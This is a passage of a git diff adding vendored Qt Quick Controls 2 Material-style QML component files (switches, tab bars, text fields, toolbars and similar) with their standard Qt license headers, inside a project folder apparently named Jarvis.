https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.SwipeView { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + contentItem: ListView { + model: control.contentModel + interactive: control.interactive + currentIndex: control.currentIndex + focus: control.focus + + spacing: control.spacing + orientation: control.orientation + snapMode: ListView.SnapOneItem + boundsBehavior: Flickable.StopAtBounds + + highlightRangeMode: ListView.StrictlyEnforceRange + preferredHighlightBegin: 0 + preferredHighlightEnd: 0 + highlightMoveDuration: 250 + maximumFlickVelocity: 4 * (control.orientation === Qt.Horizontal ? width : height) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Switch.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Switch.qml new file mode 100644 index 00000000..fd0db925 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/Switch.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 +import QtQuick.Templates 2.12 as T + +T.Switch { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 8 + spacing: 8 + + indicator: SwitchIndicator { + x: text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + + Ripple { + x: parent.handle.x + parent.handle.width / 2 - width / 2 + y: parent.handle.y + parent.handle.height / 2 - height / 2 + width: 28; height: 28 + pressed: control.pressed + active: control.down || control.visualFocus || control.hovered + color: control.checked ? control.Material.highlightedRippleColor : control.Material.rippleColor + } + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwitchDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwitchDelegate.qml new file mode 100644 index 00000000..834a3dfa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwitchDelegate.qml @@ -0,0 +1,98 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.SwitchDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 16 + verticalPadding: Material.switchDelegateVerticalPadding + spacing: 16 + + icon.width: 24 + icon.height: 24 + icon.color: enabled ? Material.foreground : Material.hintTextColor + + indicator: SwitchIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: !control.mirrored ? 0 : control.indicator.width + control.spacing + rightPadding: control.mirrored ? 0 : control.indicator.width + control.spacing + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: control.enabled ? control.Material.foreground : control.Material.hintTextColor + } + + background: Rectangle { + implicitHeight: control.Material.delegateHeight + + color: control.highlighted ? control.Material.listHighlightColor : "transparent" + + Ripple { + width: parent.width + height: parent.height + + clip: visible + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwitchIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwitchIndicator.qml new file mode 100644 index 00000000..3034e771 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/SwitchIndicator.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +Item { + id: indicator + implicitWidth: 38 + implicitHeight: 32 + + property Item control + property alias handle: handle + + Material.elevation: 1 + + Rectangle { + width: parent.width + height: 14 + radius: height / 2 + y: parent.height / 2 - height / 2 + color: indicator.control.enabled ? (indicator.control.checked ? indicator.control.Material.switchCheckedTrackColor : indicator.control.Material.switchUncheckedTrackColor) + : indicator.control.Material.switchDisabledTrackColor + } + + Rectangle { + id: handle + x: Math.max(0, Math.min(parent.width - width, indicator.control.visualPosition * parent.width - (width / 2))) + y: (parent.height - height) / 2 + width: 20 + height: 20 + radius: width / 2 + color: indicator.control.enabled ? (indicator.control.checked ? indicator.control.Material.switchCheckedHandleColor : indicator.control.Material.switchUncheckedHandleColor) + : indicator.control.Material.switchDisabledHandleColor + + Behavior on x { + enabled: !indicator.control.pressed + SmoothedAnimation { + duration: 300 + } + } + layer.enabled: indicator.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: indicator.Material.elevation + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TabBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TabBar.qml new file mode 100644 index 00000000..98c9132a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TabBar.qml @@ -0,0 +1,89 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.TabBar { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + spacing: 1 + + contentItem: ListView { + model: control.contentModel + currentIndex: control.currentIndex + + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + flickableDirection: Flickable.AutoFlickIfNeeded + snapMode: ListView.SnapToItem + + highlightMoveDuration: 250 + highlightResizeDuration: 0 + highlightFollowsCurrentItem: true + highlightRangeMode: ListView.ApplyRange + preferredHighlightBegin: 48 + preferredHighlightEnd: width - 48 + + highlight: Item { + z: 2 + Rectangle { + height: 2 + width: parent.width + y: control.position === T.TabBar.Footer ? 0 : parent.height - height + color: control.Material.accentColor + } + } + } + + background: Rectangle { + color: control.Material.backgroundColor + + layer.enabled: control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + fullWidth: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TabButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TabButton.qml new file mode 100644 index 00000000..5245652c --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TabButton.qml @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.TabButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 12 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: !enabled ? Material.hintTextColor : down || checked ? Material.accentColor : Material.foreground + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: !control.enabled ? control.Material.hintTextColor : control.down || control.checked ? control.Material.accentColor : control.Material.foreground + } + + background: Ripple { + implicitHeight: control.Material.touchTarget + + clip: true + pressed: control.pressed + anchor: control + active: control.down || control.visualFocus || control.hovered + color: control.Material.rippleColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TextArea.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TextArea.qml new file mode 100644 index 00000000..249b6401 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TextArea.qml @@ -0,0 +1,84 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.TextArea { + id: control + + implicitWidth: Math.max(contentWidth + leftPadding + rightPadding, + implicitBackgroundWidth + leftInset + rightInset, + placeholder.implicitWidth + leftPadding + rightPadding) + implicitHeight: Math.max(contentHeight + topPadding + bottomPadding, + implicitBackgroundHeight + topInset + bottomInset, + placeholder.implicitHeight + 1 + topPadding + bottomPadding) + + topPadding: 8 + bottomPadding: 16 + + color: enabled ? Material.foreground : Material.hintTextColor + selectionColor: Material.accentColor + selectedTextColor: Material.primaryHighlightedTextColor + placeholderTextColor: Material.hintTextColor + cursorDelegate: CursorDelegate { } + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + elide: Text.ElideRight + renderType: control.renderType + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + } + + background: Rectangle { + y: parent.height - height - control.bottomPadding / 2 + implicitWidth: 120 + height: control.activeFocus ? 2 : 1 + color: control.activeFocus ? control.Material.accentColor : control.Material.hintTextColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TextField.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TextField.qml new file mode 100644 index 00000000..ed42b295 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/TextField.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.TextField { + id: control + + implicitWidth: implicitBackgroundWidth + leftInset + rightInset + || Math.max(contentWidth, placeholder.implicitWidth) + leftPadding + rightPadding + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding, + placeholder.implicitHeight + topPadding + bottomPadding) + + topPadding: 8 + bottomPadding: 16 + + color: enabled ? Material.foreground : Material.hintTextColor + selectionColor: Material.accentColor + selectedTextColor: Material.primaryHighlightedTextColor + placeholderTextColor: Material.hintTextColor + verticalAlignment: TextInput.AlignVCenter + + cursorDelegate: CursorDelegate { } + + PlaceholderText { + id: placeholder + x: control.leftPadding + y: control.topPadding + width: control.width - (control.leftPadding + control.rightPadding) + height: control.height - (control.topPadding + control.bottomPadding) + text: control.placeholderText + font: control.font + color: control.placeholderTextColor + verticalAlignment: control.verticalAlignment + elide: Text.ElideRight + renderType: control.renderType + visible: !control.length && !control.preeditText && (!control.activeFocus || control.horizontalAlignment !== Qt.AlignHCenter) + } + + background: Rectangle { + y: control.height - height - control.bottomPadding + 8 + implicitWidth: 120 + height: control.activeFocus || control.hovered ? 2 : 1 + color: control.activeFocus ? control.Material.accentColor + : (control.hovered ? control.Material.primaryTextColor : control.Material.hintTextColor) + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolBar.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolBar.qml new file mode 100644 index 00000000..5b887598 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolBar.qml @@ -0,0 +1,66 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.ToolBar { + id: control + + Material.elevation: 4 + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + Material.foreground: Material.toolTextColor + + spacing: 16 + + background: Rectangle { + implicitHeight: 48 + color: control.Material.toolBarColor + + layer.enabled: control.Material.elevation > 0 + layer.effect: ElevationEffect { + elevation: control.Material.elevation + fullWidth: true + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolButton.qml new file mode 100644 index 00000000..69c42441 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolButton.qml @@ -0,0 +1,87 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Material 2.12 +import QtQuick.Controls.Material.impl 2.12 + +T.ToolButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 6 + + icon.width: 24 + icon.height: 24 + icon.color: !enabled ? Material.hintTextColor : checked || highlighted ? Material.accent : Material.foreground + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: !control.enabled ? control.Material.hintTextColor : + control.checked || control.highlighted ? control.Material.accent : control.Material.foreground + } + + background: Ripple { + implicitWidth: control.Material.touchTarget + implicitHeight: control.Material.touchTarget + + readonly property bool square: control.contentItem.width <= control.contentItem.height + + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + clip: !square + width: square ? parent.height / 2 : parent.width + height: square ? parent.height / 2 : parent.height + pressed: control.pressed + anchor: control + active: control.enabled && (control.down || control.visualFocus || control.hovered) + color: control.Material.rippleColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolSeparator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolSeparator.qml new file mode 100644 index 00000000..94367657 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolSeparator.qml @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Material 2.12 + +T.ToolSeparator { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + horizontalPadding: vertical ? 12 : 5 + verticalPadding: vertical ? 5 : 12 + + contentItem: Rectangle { + implicitWidth: vertical ? 1 : 38 + implicitHeight: vertical ? 38 : 1 + color: control.Material.hintTextColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolTip.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolTip.qml new file mode 100644 index 00000000..83afe4b1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Material/ToolTip.qml @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For 